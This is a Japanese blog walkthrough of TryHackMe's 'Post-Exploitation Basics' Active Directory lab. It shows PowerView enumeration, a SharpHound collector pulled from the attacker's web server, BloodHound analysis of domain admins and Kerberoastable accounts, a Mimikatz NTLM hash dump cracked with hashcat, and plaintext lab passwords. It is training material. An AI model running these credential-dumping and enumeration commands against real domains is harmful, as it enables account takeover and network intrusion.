0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

概要

TryHackMe「Post-Exploitation Basics」のWalkthroughです。

Task2

Q1.What is the shared folder that is not set by default?

Hint.Invoke-ShareFinder

ターゲットマシンにSSH接続します。

Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

controller\administrator@DOMAIN-CONTROLL C:\Users\Administrator>

PowerShellを起動します。

controller\administrator@DOMAIN-CONTROLL C:\Users\Administrator>powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator>

共有フォルダを列挙します。

PS C:\Users\Administrator> invoke-sharefinder
\\Domain-Controller.CONTROLLER.local\ADMIN$     - Remote Admin 
\\Domain-Controller.CONTROLLER.local\C$         - Default share
\\Domain-Controller.CONTROLLER.local\IPC$       - Remote IPC
\\Domain-Controller.CONTROLLER.local\NETLOGON   - Logon server share
\\Domain-Controller.CONTROLLER.local\Share      -
\\Domain-Controller.CONTROLLER.local\SYSVOL     - Logon server share

A.Share

Q2.What operating system is running inside of the network besides Windows Server 2019?

Hint.Get-NetComputer -fulldata | select operatingsystem

ドメイン内のコンピュータを列挙します。

PS C:\Users\Administrator> Get-NetComputer -fulldata | select operatingsystem

operatingsystem
---------------
Windows Server 2019 Standard
Windows 10 Enterprise Evaluation
Windows 10 Enterprise Evaluation

A.Windows 10 Enterprise Evaluation

Q3.I've hidden a flag inside of the users find it

ユーザーを列挙するとフラグを発見できました。

PS C:\Users\Administrator> Get-Netuser | select cn

cn                  
--
Administrator
Guest
krbtgt
Machine-1
Admin2
Machine-2
SQL Service
POST{P0W3RV13W_FTW}
sshd

A.POST{P0W3RV13W_FTW}

Task3

Q1.What service is also a domain admin

Kaliでneo4jを実行します。

$ sudo neo4j console

ブラウザでサービスにアクセスし、ログインします。

image.png

bloodhoundを実行し、ログインします。

$ bloodhound

ターゲットマシン上で列挙したデータのzipファイルを作成します。

KaliのBloodHoundと互換性を持たせるためにSharpHound.exeを使用します。
ターゲットマシンに元々あるSharpHound.ps1を使用するとZIPファイルをBloodHoundにアップロードできませんでした。

SharpHound.exeの場所を探し、Webサーバーを起動します。

$ locate SharpHound.exe
/usr/share/metasploit-framework/data/post/SharpHound.exe

$ cd /usr/share/metasploit-framework/data/post 

$ python -m http.server 80

WindowsにSharpHound.exeをダウンロードします。

PS C:\Users\Administrator\Downloads> wget http://10.6.55.144/SharpHound.exe -o sharphound.exe

SharpHound.exeを実行します。

PS C:\Users\Administrator\Downloads> .\sharphound.exe
2025-01-21T10:05:18.0936444-08:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Rel
ease of BloodHound
2025-01-21T10:05:18.2186463-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, 
Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-01-21T10:05:18.2498879-08:00|INFORMATION|Initializing SharpHound at 10:05 AM on 1/21/2025
2025-01-21T10:05:18.3905107-08:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container
, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-01-21T10:05:18.5467654-08:00|INFORMATION|Beginning LDAP search for CONTROLLER.local
2025-01-21T10:05:18.6092564-08:00|INFORMATION|Producer has finished, closing LDAP channel
2025-01-21T10:05:18.6561377-08:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-01-21T10:05:48.8280389-08:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 35 MB RAM   
2025-01-21T10:06:01.9073541-08:00|INFORMATION|Consumers finished, closing output channel
2025-01-21T10:06:01.9386048-08:00|INFORMATION|Output channel closed, waiting for output task to complet
e
Closing writers
2025-01-21T10:06:02.0479813-08:00|INFORMATION|Status: 104 objects finished (+104 2.418605)/s -- Using 4
2 MB RAM
2025-01-21T10:06:02.0479813-08:00|INFORMATION|Enumeration finished in 00:00:43.4983737
2025-01-21T10:06:02.1261071-08:00|INFORMATION|Saving cache with stats: 62 ID to type mappings.
 63 name to SID mappings.
 0 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2025-01-21T10:06:02.1417302-08:00|INFORMATION|SharpHound Enumeration Completed at 10:06 AM on 1/21/2025
! Happy Graphing!

ZIPファイルをKaliにダウンロードします。

$ scp Administrator@10.10.39.29:/Users/Administrator/Downloads/20250121100601_BloodHound.zip ./
Administrator@10.10.39.29's password: 
20250121100601_BloodHound.zip                                                                  100%   12KB  23.3KB/s   00:00

ZIPファイルをBloodHoundにドラッグ&ドロップします。

image.png

Analysisから情報を確認できます。

image.png

Find all Domain Adminsを表示します。

image.png

SQLサービスを発見しました。

image.png

A.SQLSERVICE

Q2.What two users are Kerberoastable?

Hint.Use "list all kerberoastable accounts"

List all Kerberoastable Accountsを選択します。

image.png

2つのアカウントを発見しました。

image.png

A.SQLSERVICE, KRBTGT

Task4

Q1.what is the Machine1 Password?

mimikatzを実行します。

PS C:\Users\Administrator\Downloads> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 May  2 2020 16:23:51              
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)                               
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )  
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz                    
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com ) 
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/ 

mimikatz #

ハッシュ値を取得します。

mimikatz # lsadump::lsa /patch 
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166 
                                                              
RID  : 000001f4 (500)                                         
User : Administrator                                          
LM   :                                                        
NTLM : 2777b7fec870e04dda00cd7260f7bee6                       
                                                              
RID  : 000001f5 (501)                                         
User : Guest                                                  
LM   :                                                        
NTLM :                                                        
                                                              
RID  : 000001f6 (502)                                         
User : krbtgt                           
LM   :                                  
NTLM : 5508500012cc005cf7082a9a89ebdfdf 

RID  : 0000044f (1103)
User : Machine1
LM   :
NTLM : 64f12cddaa88057e06a81b54e73b949b

RID  : 00000451 (1105)
User : Admin2
LM   :
NTLM : 2b576acbe6bcfda7294d6bd18041b8fe

RID  : 00000452 (1106)
User : Machine2 
LM   :
NTLM : c39f2beb3d2ec06a62cb887fb391dee0

RID  : 00000453 (1107)
User : SQLService
LM   :
NTLM : f4ab68f27303bcb4024650d8fc5f973a

RID  : 00000454 (1108)
User : POST
LM   :
NTLM : c4b0e1b10c7ce2c4723b4e2407ef81a2

RID  : 00000457 (1111)
User : sshd
LM   :
NTLM : 2777b7fec870e04dda00cd7260f7bee6 

RID  : 000003e8 (1000)
User : DOMAIN-CONTROLL$
LM   :
NTLM : 4ff39f2c80159073a60cdceda62ebeea

RID  : 00000455 (1109)
User : DESKTOP-2$
LM   :
NTLM : 3c2d4759eb9884d7a935fe71a8e0f54c

RID  : 00000456 (1110)
User : DESKTOP-1$
LM   :
NTLM : 7d33346eeb11a4f12a6c201faaa0d89a

Machine1のNTLMハッシュ値を得られたので解析します。

$ hashcat -a 0 -m 1000 machine1 /usr/share/wordlists/rockyou.txt
64f12cddaa88057e06a81b54e73b949b:Password1

A.Password1

Q2.What is the Machine2 Hash?

Machine2のNTLMハッシュ値も得られました。

RID  : 00000452 (1106)
User : Machine2 
LM   :
NTLM : c39f2beb3d2ec06a62cb887fb391dee0

A.c39f2beb3d2ec06a62cb887fb391dee0

Task6

Q1.What tool allows to view the event logs?

RDPで接続します。

$ xfreerdp /u:Administrator /p:'P@$$W0rd' /v:10.10.16.162

Tools->Event Viewerからできます。

image.png

A.Event Viewer

Q2.What is the SQL Service password

Hint.Look in the Descriptions

Tools->Active Directory Users and Computersからアカウント管理画面を開きます。

image.png

SQL ServiceアカウントのDescriptionからパスワードが分かりました。

A.MYpassword123#

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?